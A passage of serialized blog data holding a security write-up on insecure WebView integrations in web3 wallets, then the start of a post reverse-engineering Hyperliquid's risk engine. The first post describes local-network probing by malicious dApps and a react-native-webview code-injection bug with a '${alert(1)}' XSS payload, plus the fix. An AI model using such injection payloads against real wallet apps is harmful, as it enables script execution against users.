the implications of these protections ",{"type":23,"tag":181,"props":160220,"children":160223},{"href":160221,"rel":160222},"https://x.com/taviso/status/2051310678800253318",[185],[160224],{"type":29,"value":160221},{"type":29,"value":160226},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":33652,"props":160228,"children":160229},{"style":33654},[160230],{"type":23,"tag":93,"props":160231,"children":160234},{"src":160232,"alt":160191,"style":160233},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":160236,"children":160237},{},[160238],{"type":29,"value":160239},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":160241,"props":160242,"children":160245},"zoom-image",{"src":160243,"alt":160244},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":32,"props":160247,"children":160248},{},[160249],{"type":29,"value":160250},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":98,"props":160252,"children":160253},{},[160254,160259,160264],{"type":23,"tag":102,"props":160255,"children":160256},{},[160257],{"type":29,"value":160258},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":102,"props":160260,"children":160261},{},[160262],{"type":29,"value":160263},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":102,"props":160265,"children":160266},{},[160267],{"type":29,"value":160268},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":32,"props":160270,"children":160271},{},[160272],{"type":29,"value":160273},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":24,"props":160275,"children":160277},{"id":160276},"uxss-by-code-injection",[160278],{"type":29,"value":160279},"UXSS by Code Injection",{"type":23,"tag":32,"props":160281,"children":160282},{},[160283,160285,160291],{"type":29,"value":160284},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":71,"props":160286,"children":160288},{"className":160287},[],[160289],{"type":29,"value":160290},"injectJavascriptObject",{"type":29,"value":160292}," attribute worked. Here is the code snippet:",{"type":23,"tag":220,"props":160294,"children":160296},{"className":158532,"code":160295,"language":158534,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[160297],{"type":23,"tag":71,"props":160298,"children":160299},{"__ignoreMap":7},[160300,160320,160349,160383,160438,160543,160555,160568],{"type":23,"tag":230,"props":160301,"children":160302},{"class":232,"line":233},[160303,160307,160311,160316],{"type":23,"tag":230,"props":160304,"children":160305},{"style":256},[160306],{"type":29,"value":72560},{"type":23,"tag":230,"props":160308,"children":160309},{"style":676},[160310],{"type":29,"value":52822},{"type":23,"tag":230,"props":160312,"children":160313},{"style":294},[160314],{"type":29,"value":160315}," injectJavascriptObject",{"type":23,"tag":230,"props":160317,"children":160318},{"style":274},[160319],{"type":29,"value":18061},{"type":23,"tag":230,"props":160321,"children":160322},{"class":232,"line":243},[160323,160327,160331,160336,160340,160345],{"type":23,"tag":230,"props":160324,"children":160325},{"style":866},[160326],{"type":29,"value":3992},{"type":23,"tag":230,"props":160328,"children":160329},{"style":274},[160330],{"type":29,"value":664},{"type":23,"tag":230,"props":160332,"children":160333},{"style":294},[160334],{"type":29,"value":160335},"getSettings",{"type":23,"tag":230,"props":160337,"children":160338},{"style":274},[160339],{"type":29,"value":32475},{"type":23,"tag":230,"props":160341,"children":160342},{"style":294},[160343],{"type":29,"value":160344},"getJavaScriptEnabled",{"type":23,"tag":230,"props":160346,"children":160347},{"style":274},[160348],{"type":29,"value":93800},{"type":23,"tag":230,"props":160350,"children":160351},{"class":232,"line":252},[160352,160357,160362,160366,160371,160375,160379],{"type":23,"tag":230,"props":160353,"children":160354},{"style":676},[160355],{"type":29,"value":160356},"        String",{"type":23,"tag":230,"props":160358,"children":160359},{"style":262},[160360],{"type":29,"value":160361}," js",{"type":23,"tag":230,"props":160363,"children":160364},{"style":268},[160365],{"type":29,"value":271},{"type":23,"tag":230,"props":160367,"children":160368},{"style":380},[160369],{"type":29,"value":160370}," \"(function(){",{"type":23,"tag":230,"props":160372,"children":160373},{"style":50145},[160374],{"type":29,"value":50148},{"type":23,"tag":230,"props":160376,"children":160377},{"style":380},[160378],{"type":29,"value":22374},{"type":23,"tag":230,"props":160380,"children":160381},{"style":268},[160382],{"type":29,"value":12118},{"type":23,"tag":230,"props":160384,"children":160385},{"class":232,"line":280},[160386,160391,160395,160400,160404,160409,160413,160417,160421,160426,160430,160434],{"type":23,"tag":230,"props":160387,"children":160388},{"style":380},[160389],{"type":29,"value":160390},"          \"    window.\"",{"type":23,"tag":230,"props":160392,"children":160393},{"style":268},[160394],{"type":29,"value":11238},{"type":23,"tag":230,"props":160396,"children":160397},{"style":274},[160398],{"type":29,"value":160399}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":230,"props":160401,"children":160402},{"style":268},[160403],{"type":29,"value":6719},{"type":23,"tag":230,"props":160405,"children":160406},{"style":380},[160407],{"type":29,"value":160408}," \" = window.\"",{"type":23,"tag":230,"props":160410,"children":160411},{"style":268},[160412],{"type":29,"value":11238},{"type":23,"tag":230,"props":160414,"children":160415},{"style":274},[160416],{"type":29,"value":160399},{"type":23,"tag":230,"props":160418,"children":160419},{"style":268},[160420],{"type":29,"value":6719},{"type":23,"tag":230,"props":160422,"children":160423},{"style":380},[160424],{"type":29,"value":160425}," \" || {};",{"type":23,"tag":230,"props":160427,"children":160428},{"style":50145},[160429],{"type":29,"value":50148},{"type":23,"tag":230,"props":160431,"children":160432},{"style":380},[160433],{"type":29,"value":22374},{"type":23,"tag":230,"props":160435,"children":160436},{"style":268},[160437],{"type":29,"value":12118},{"type":23,"tag":230,"props":160439,"children":160440},{"class":232,"line":334},[160441,160445,160449,160453,160457,160462,160466,160471,160475,160479,160483,160487,160491,160495,160500,160504,160509,160513,160518,160522,160526,160531,160535,160539],{"type":23,"tag":230,"props":160442,"children":160443},{"style":380},[160444],{"type":29,"value":160390},{"type":23,"tag":230,"props":160446,"children":160447},{"style":268},[160448],{"type":29,"value":11238},{"type":23,"tag":230,"props":160450,"children":160451},{"style":274},[160452],{"type":29,"value":160399},{"type":23,"tag":230,"props":160454,"children":160455},{"style":268},[160456],{"type":29,"value":6719},{"type":23,"tag":230,"props":160458,"children":160459},{"style":380},[160460],{"type":29,"value":160461}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":230,"props":160463,"children":160464},{"style":268},[160465],{"type":29,"value":11238},{"type":23,"tag":230,"props":160467,"children":160468},{"style":274},[160469],{"type":29,"value":160470}," (injectedJavaScriptObject ",{"type":23,"tag":230,"props":160472,"children":160473},{"style":268},[160474],{"type":29,"value":10911},{"type":23,"tag":230,"props":160476,"children":160477},{"style":256},[160478],{"type":29,"value":72046},{"type":23,"tag":230,"props":160480,"children":160481},{"style":866},[160482],{"type":29,"value":99820},{"type":23,"tag":230,"props":160484,"children":160485},{"style":256},[160486],{"type":29,"value":72046},{"type":23,"tag":230,"props":160488,"children":160489},{"style":866},[160490],{"type":29,"value":37403},{"type":23,"tag":230,"props":160492,"children":160493},{"style":274},[160494],{"type":29,"value":664},{"type":23,"tag":230,"props":160496,"children":160497},{"style":380},[160498],{"type":29,"value":160499},"\"`\"",{"type":23,"tag":230,"props":160501,"children":160502},{"style":268},[160503],{"type":29,"value":11238},{"type":23,"tag":230,"props":160505,"children":160506},{"style":274},[160507],{"type":29,"value":160508}," injectedJavaScriptObject ",{"type":23,"tag":230,"props":160510,"children":160511},{"style":268},[160512],{"type":29,"value":6719},{"type":23,"tag":230,"props":160514,"children":160515},{"style":380},[160516],{"type":29,"value":160517}," \"`\"",{"type":23,"tag":230,"props":160519,"children":160520},{"style":274},[160521],{"type":29,"value":11171},{"type":23,"tag":230,"props":160523,"children":160524},{"style":268},[160525],{"type":29,"value":6719},{"type":23,"tag":230,"props":160527,"children":160528},{"style":380},[160529],{"type":29,"value":160530}," \"; };",{"type":23,"tag":230,"props":160532,"children":160533},{"style":50145},[160534],{"type":29,"value":50148},{"type":23,"tag":230,"props":160536,"children":160537},{"style":380},[160538],{"type":29,"value":22374},{"type":23,"tag":230,"props":160540,"children":160541},{"style":268},[160542],{"type":29,"value":12118},{"type":23,"tag":230,"props":160544,"children":160545},{"class":232,"line":371},[160546,160551],{"type":23,"tag":230,"props":160547,"children":160548},{"style":380},[160549],{"type":29,"value":160550},"          \"})();\"",{"type":23,"tag":230,"props":160552,"children":160553},{"style":274},[160554],{"type":29,"value":511},{"type":23,"tag":230,"props":160556,"children":160557},{"class":232,"line":391},[160558,160563],{"type":23,"tag":230,"props":160559,"children":160560},{"style":294},[160561],{"type":29,"value":160562},"        evaluateJavascriptWithFallback",{"type":23,"tag":230,"props":160564,"children":160565},{"style":274},[160566],{"type":29,"value":160567},"(js);\n",{"type":23,"tag":230,"props":160569,"children":160570},{"class":232,"line":400},[160571],{"type":23,"tag":230,"props":160572,"children":160573},{"style":274},[160574],{"type":29,"value":1931},{"type":23,"tag":32,"props":160576,"children":160577},{},[160578,160580,160586,160588,160593,160595,160601],{"type":29,"value":160579},"It basically injects a javascript code with the ",{"type":23,"tag":71,"props":160581,"children":160583},{"className":160582},[],[160584],{"type":29,"value":160585},"injectedJavascriptObject",{"type":29,"value":160587}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":71,"props":160589,"children":160591},{"className":160590},[],[160592],{"type":29,"value":160585},{"type":29,"value":160594},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":71,"props":160596,"children":160598},{"className":160597},[],[160599],{"type":29,"value":160600},"${alert(1)}",{"type":29,"value":160602}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":32,"props":160604,"children":160605},{},[160606,160608,160615],{"type":29,"value":160607},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":181,"props":160609,"children":160612},{"href":160610,"rel":160611},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[185],[160613],{"type":29,"value":160614},"PR with the report and fix",{"type":29,"value":312},{"type":23,"tag":32,"props":160617,"children":160618},{},[160619],{"type":29,"value":160620},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":32,"props":160622,"children":160623},{},[160624,160626,160632],{"type":29,"value":160625},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":71,"props":160627,"children":160629},{"className":160628},[],[160630],{"type":29,"value":160631},"injectedJavaScriptObject",{"type":29,"value":160633}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":59,"props":160635,"children":160636},{"id":5163},[160637],{"type":29,"value":5166},{"type":23,"tag":32,"props":160639,"children":160640},{},[160641],{"type":29,"value":160642},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":5178,"props":160644,"children":160645},{},[160646],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":160648},[160649,160653,160656,160657],{"id":158372,"depth":243,"text":158375,"children":160650},[160651,160652],{"id":158383,"depth":252,"text":158386},{"id":158458,"depth":252,"text":158461},{"id":158491,"depth":243,"text":158494,"children":160654},[160655],{"id":158681,"depth":252,"text":158684},{"id":160201,"depth":243,"text":160204},{"id":160276,"depth":243,"text":160279,"children":160658},[160659],{"id":5163,"depth":252,"text":5166},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":160664,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":160665,"description":160666,"date":160667,"author":160668,"image":160669,"isFeatured":18,"onBlogPage":18,"tags":160673,"hideToc":18,"body":160677,"_type":5202,"_id":167316,"_source":5204,"_file":167317,"_stem":167318,"_extension":5207},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":160670,"width":160671,"height":160672},"/posts/hyperliquid-risk-engine/title.png",1456,816,[160674,160675,160676],"hyperliquid","reverse-engineering","defi",{"type":20,"children":160678,"toc":167288},[160679,160685,160693,160698,160703,160708,160720,160725,160738,160757,160763,160775,160788,160793,160824,160829,160842,160847,161038,161044,161049,161061,161067,161072,161078,161091,161125,161130,161135,161147,161153,161173,161181,161194,161200,161211,161217,161229,161234,161240,161260,161268,161274,161308,161312,161348,161353,161358,161363,161376,161413,161418,161432,161438,161443,161469,161477,161482,161510,161515,161520,161858,161863,161868,161888,161915,161920,161933,161945,161950,161955,161961,161966,161971,161985,161990,161996,162024,162061,162072,162076,162081,162086,162092,162258,162293,162298,162304,162310,162499,162512,162517,162523,162544,162549,162555,162560,162565,162577,162582,162587,162593,162598,162603,162609,162615,162628,162661,162666,165242,165510,165515,166845,166850,166855,166867,166958,166970,166975,166981,166986,166994,166999,167007,167013,167047,167058,167066,167072,167078,167083,167091,167096,167101,167109,167121,167127,167132,167138,167149,167154,167160,167165,167170,167176,167181,167184,167189,167194,167200,167205,167217,167222,167227],{"type":23,"tag":24,"props":160680,"children":160682},{"id":160681},"perpetuals",[160683],{"type":29,"value":160684},"Perpetuals",{"type":23,"tag":5272,"props":160686,"children":160687},{},[160688],{"type":23,"tag":32,"props":160689,"children":160690},{},[160691],{"type":29,"value":160692},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":32,"props":160694,"children":160695},{},[160696],{"type":29,"value":160697},"What does that even have to do with reverse engineering?",{"type":23,"tag":24,"props":160699,"children":160700},{"id":160674},[160701],{"type":29,"value":160702},"Hyperliquid",{"type":23,"tag":32,"props":160704,"children":160705},{},[160706],{"type":29,"value":160707},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":32,"props":160709,"children":160710},{},[160711,160713,160718],{"type":29,"value":160712},"The node is tasked with a ",{"type":23,"tag":2258,"props":160714,"children":160715},{},[160716],{"type":29,"value":160717},"very hard problem",{"type":29,"value":160719},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":32,"props":160721,"children":160722},{},[160723],{"type":29,"value":160724},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":32,"props":160726,"children":160727},{},[160728,160730,160736],{"type":29,"value":160729},"Beyond that, the ",{"type":23,"tag":71,"props":160731,"children":160733},{"className":160732},[],[160734],{"type":29,"value":160735},"hl-node",{"type":29,"value":160737}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":32,"props":160739,"children":160740},{},[160741,160743,160748,160750,160755],{"type":29,"value":160742},"Armed with some curiosity, a good amount of ",{"type":23,"tag":2258,"props":160744,"children":160745},{},[160746],{"type":29,"value":160747},"inference",{"type":29,"value":160749},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":2258,"props":160751,"children":160752},{},[160753],{"type":29,"value":160754},"interactive interface",{"type":29,"value":160756},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":24,"props":160758,"children":160760},{"id":160759},"the-million-dollar-question",[160761],{"type":29,"value":160762},"The Million Dollar Question",{"type":23,"tag":32,"props":160764,"children":160765},{},[160766,160768,160773],{"type":29,"value":160767},"Let's say a terrible trader opens a ",{"type":23,"tag":2258,"props":160769,"children":160770},{},[160771],{"type":29,"value":160772},"50x",{"type":29,"value":160774}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":32,"props":160776,"children":160777},{},[160778,160780,160786],{"type":29,"value":160779},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":71,"props":160781,"children":160783},{"className":160782},[],[160784],{"type":29,"value":160785},"compute_margin_requirement_by_mode",{"type":29,"value":160787}," function.",{"type":23,"tag":32,"props":160789,"children":160790},{},[160791],{"type":29,"value":160792},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":160794,"props":160795,"children":160796},"tip",{},[160797],{"type":23,"tag":32,"props":160798,"children":160799},{},[160800,160802,160807,160809,160816,160818,160823],{"type":29,"value":160801},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":2258,"props":160803,"children":160804},{},[160805],{"type":29,"value":160806},"click through",{"type":29,"value":160808}," each action performed by ",{"type":23,"tag":181,"props":160810,"children":160813},{"href":160811,"rel":160812},"https://github.com/renato-osec/patina-research",[185],[160814],{"type":29,"value":160815},"our Rust reverse engineering agent",{"type":29,"value":160817},". Return to the regular view by clicking ",{"type":23,"tag":71,"props":160819,"children":160821},{"className":160820},[],[160822],{"type":29,"value":8324},{"type":29,"value":312},{"type":23,"tag":160825,"props":160826,"children":160828},"bndb-viewer-embed",{"addr":160827,"line-start":6348,"line-end":136333},"0x555556bb4d20",[],{"type":23,"tag":32,"props":160830,"children":160831},{},[160832,160834,160840],{"type":29,"value":160833},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":71,"props":160835,"children":160837},{"className":160836},[],[160838],{"type":29,"value":160839},"OptionUnitQty",{"type":29,"value":160841},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":32,"props":160843,"children":160844},{},[160845],{"type":29,"value":160846},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":220,"props":160848,"children":160849},{},[160850],{"type":23,"tag":71,"props":160851,"children":160854},{"className":160852},[6318,160853],"math-display",[160855],{"type":23,"tag":230,"props":160856,"children":160859},{"className":160857},[160858],"katex-display",[160860],{"type":23,"tag":230,"props":160861,"children":160863},{"className":160862},[6324],[160864],{"type":23,"tag":230,"props":160865,"children":160867},{"className":160866,"ariaHidden":1726},[6329],[160868,160899],{"type":23,"tag":230,"props":160869,"children":160871},{"className":160870},[6334],[160872,160876,160886,160890,160895],{"type":23,"tag":230,"props":160873,"children":160875},{"className":160874,"style":96239},[6339],[],{"type":23,"tag":230,"props":160877,"children":160879},{"className":160878},[6345,29],[160880],{"type":23,"tag":230,"props":160881,"children":160883},{"className":160882},[6345],[160884],{"type":29,"value":160885},"liq_equity",{"type":23,"tag":230,"props":160887,"children":160889},{"className":160888,"style":6524},[6426],[],{"type":23,"tag":230,"props":160891,"children":160893},{"className":160892},[6529],[160894],{"type":29,"value":863},{"type":23,"tag":230,"props":160896,"children":160898},{"className":160897,"style":6524},[6426],[],{"type":23,"tag":230,"props":160900,"children":160902},{"className":160901},[6334],[160903,160908],{"type":23,"tag":230,"props":160904,"children":160907},{"className":160905,"style":160906},[6339],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":230,"props":160909,"children":160911},{"className":160910},[6345],[160912,160916,161034],{"type":23,"tag":230,"props":160913,"children":160915},{"className":160914},[24031,115344],[],{"type":23,"tag":230,"props":160917,"children":160919},{"className":160918},[115349],[160920],{"type":23,"tag":230,"props":160921,"children":160923},{"className":160922},[6367,23956],[160924,161022],{"type":23,"tag":230,"props":160925,"children":160927},{"className":160926},[6372],[160928,161017],{"type":23,"tag":230,"props":160929,"children":160932},{"className":160930,"style":160931},[6377],"height:1.427em;",[160933,160973,160984],{"type":23,"tag":230,"props":160934,"children":160936},{"style":160935},"top:-2.314em;",[160937,160941],{"type":23,"tag":230,"props":160938,"children":160940},{"className":160939,"style":113997},[6386],[],{"type":23,"tag":230,"props":160942,"children":160944},{"className":160943},[6345],[160945,160950,160954,160959,160963],{"type":23,"tag":230,"props":160946,"children":160948},{"className":160947},[6345],[160949],{"type":29,"value":5462},{"type":23,"tag":230,"props":160951,"children":160953},{"className":160952,"style":6427},[6426],[],{"type":23,"tag":230,"props":160955,"children":160957},{"className":160956},[6432],[160958],{"type":29,"value":113088},{"type":23,"tag":230,"props":160960,"children":160962},{"className":160961,"style":6427},[6426],[],{"type":23,"tag":230,"props":160964,"children":160966},{"className":160965},[6345,29],[160967],{"type":23,"tag":230,"props":160968,"children":160970},{"className":160969},[6345],[160971],{"type":29,"value":160972},"leverage",{"type":23,"tag":230,"props":160974,"children":160975},{"style":115399},[160976,160980],{"type":23,"tag":230,"props":160977,"children":160979},{"className":160978,"style":113997},[6386],[],{"type":23,"tag":230,"props":160981,"children":160983},{"className":160982,"style":115409},[115408],[],{"type":23,"tag":230,"props":160985,"children":160987},{"style":160986},"top:-3.677em;",[160988,160992],{"type":23,"tag":230,"props":160989,"children":160991},{"className":160990,"style":113997},[6386],[],{"type":23,"tag":230,"props":160993,"children":160995},{"className":160994},[6345],[160996,161002,161012],{"type":23,"tag":230,"props":160997,"children":160999},{"className":160998},[6345],[161000],{"type":29,"value":161001},"∣",{"type":23,"tag":230,"props":161003,"children":161005},{"className":161004},[6345,29],[161006],{"type":23,"tag":230,"props":161007,"children":161009},{"className":161008},[6345],[161010],{"type":29,"value":161011},"notional",{"type":23,"tag":230,"props":161013,"children":161015},{"className":161014},[6345],[161016],{"type":29,"value":161001},{"type":23,"tag":230,"props":161018,"children":161020},{"className":161019},[24059],[161021],{"type":29,"value":24062},{"type":23,"tag":230,"props":161023,"children":161025},{"className":161024},[6372],[161026],{"type":23,"tag":230,"props":161027,"children":161030},{"className":161028,"style":161029},[6377],"height:0.8804em;",[161031],{"type":23,"tag":230,"props":161032,"children":161033},{},[],{"type":23,"tag":230,"props":161035,"children":161037},{"className":161036},[24053,115344],[],{"type":23,"tag":24,"props":161039,"children":161041},{"id":161040},"what-if-nobody-wants-to-buy-the-position",[161042],{"type":29,"value":161043},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":32,"props":161045,"children":161046},{},[161047],{"type":29,"value":161048},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":32,"props":161050,"children":161051},{},[161052,161054,161059],{"type":29,"value":161053},"When that happens, the exchange is basically left with a ",{"type":23,"tag":2258,"props":161055,"children":161056},{},[161057],{"type":29,"value":161058},"hot potato",{"type":29,"value":161060}," to get rid of: what should it even do with the debt?",{"type":23,"tag":37658,"props":161062,"children":161064},{"id":161063},"the-risk-engine",[161065],{"type":29,"value":161066},"The Risk Engine",{"type":23,"tag":32,"props":161068,"children":161069},{},[161070],{"type":29,"value":161071},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":24,"props":161073,"children":161075},{"id":161074},"clearing-up-bad-debt",[161076],{"type":29,"value":161077},"Clearing Up Bad Debt",{"type":23,"tag":32,"props":161079,"children":161080},{},[161081,161082,161089],{"type":29,"value":980},{"type":23,"tag":181,"props":161083,"children":161086},{"href":161084,"rel":161085},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[185],[161087],{"type":29,"value":161088},"Hyperliquid docs",{"type":29,"value":161090}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":32,"props":161092,"children":161093},{},[161094,161096,161107,161109,161115,161117,161123],{"type":29,"value":161095},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":181,"props":161097,"children":161100},{"href":161098,"rel":161099},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[185],[161101],{"type":23,"tag":71,"props":161102,"children":161104},{"className":161103},[],[161105],{"type":29,"value":161106},"Clearinghouse",{"type":29,"value":161108},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":71,"props":161110,"children":161112},{"className":161111},[],[161113],{"type":29,"value":161114},"Exchange",{"type":29,"value":161116}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":71,"props":161118,"children":161120},{"className":161119},[],[161121],{"type":29,"value":161122},"MessagePack",{"type":29,"value":161124}," at runtime.",{"type":23,"tag":32,"props":161126,"children":161127},{},[161128],{"type":29,"value":161129},"This data will come in handy both for us and the agent.",{"type":23,"tag":161131,"props":161132,"children":161134},"file-download",{"path":161133},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":32,"props":161136,"children":161137},{},[161138,161140,161145],{"type":29,"value":161139},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":71,"props":161141,"children":161143},{"className":161142},[],[161144],{"type":29,"value":161106},{"type":29,"value":161146},". Some renaming later, we can infer something like this:",{"type":23,"tag":160825,"props":161148,"children":161152},{"source":161149,"target":161150,"direction":161151},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":32,"props":161154,"children":161155},{},[161156,161158,161163,161165,161171],{"type":29,"value":161157},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":71,"props":161159,"children":161161},{"className":161160},[],[161162],{"type":29,"value":161150},{"type":29,"value":161164},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":71,"props":161166,"children":161168},{"className":161167},[],[161169],{"type":29,"value":161170},"exchange_end_block",{"type":29,"value":161172},". So, at the end of each block we run some checks.",{"type":23,"tag":160794,"props":161174,"children":161175},{},[161176],{"type":23,"tag":32,"props":161177,"children":161178},{},[161179],{"type":29,"value":161180},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":23,"tag":32,"props":161182,"children":161183},{},[161184,161186,161192],{"type":29,"value":161185},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":71,"props":161187,"children":161189},{"className":161188},[],[161190],{"type":29,"value":161191},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":161193}," flag.",{"type":23,"tag":160825,"props":161195,"children":161199},{"addr":161196,"line-start":161197,"line-end":161198},"0x555556ac3850","3290","3301",[],{"type":23,"tag":32,"props":161201,"children":161202},{},[161203,161205,161210],{"type":29,"value":161204},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":71,"props":161206,"children":161208},{"className":161207},[],[161209],{"type":29,"value":161106},{"type":29,"value":5494},{"type":23,"tag":59,"props":161212,"children":161214},{"id":161213},"threshold-condition",[161215],{"type":29,"value":161216},"Threshold Condition",{"type":23,"tag":32,"props":161218,"children":161219},{},[161220,161222,161227],{"type":29,"value":161221},"The natural connection between liquidations and ADL is ",{"type":23,"tag":2258,"props":161223,"children":161224},{},[161225],{"type":29,"value":161226},"shortfall",{"type":29,"value":161228},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":32,"props":161230,"children":161231},{},[161232],{"type":29,"value":161233},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":192,"props":161235,"children":161237},{"id":161236},"who-is-underwater",[161238],{"type":29,"value":161239},"Who Is Underwater?",{"type":23,"tag":32,"props":161241,"children":161242},{},[161243,161245,161250,161252,161258],{"type":29,"value":161244},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":71,"props":161246,"children":161248},{"className":161247},[],[161249],{"type":29,"value":161150},{"type":29,"value":161251},", starting from all user positions, which are stored in ",{"type":23,"tag":71,"props":161253,"children":161255},{"className":161254},[],[161256],{"type":29,"value":161257},"clearinghouse.user_states",{"type":29,"value":161259},", as we can also see from the serialization.",{"type":23,"tag":160794,"props":161261,"children":161262},{},[161263],{"type":23,"tag":32,"props":161264,"children":161265},{},[161266],{"type":29,"value":161267},"A graph can also branch, you know? Click around to view all possible paths from one function to 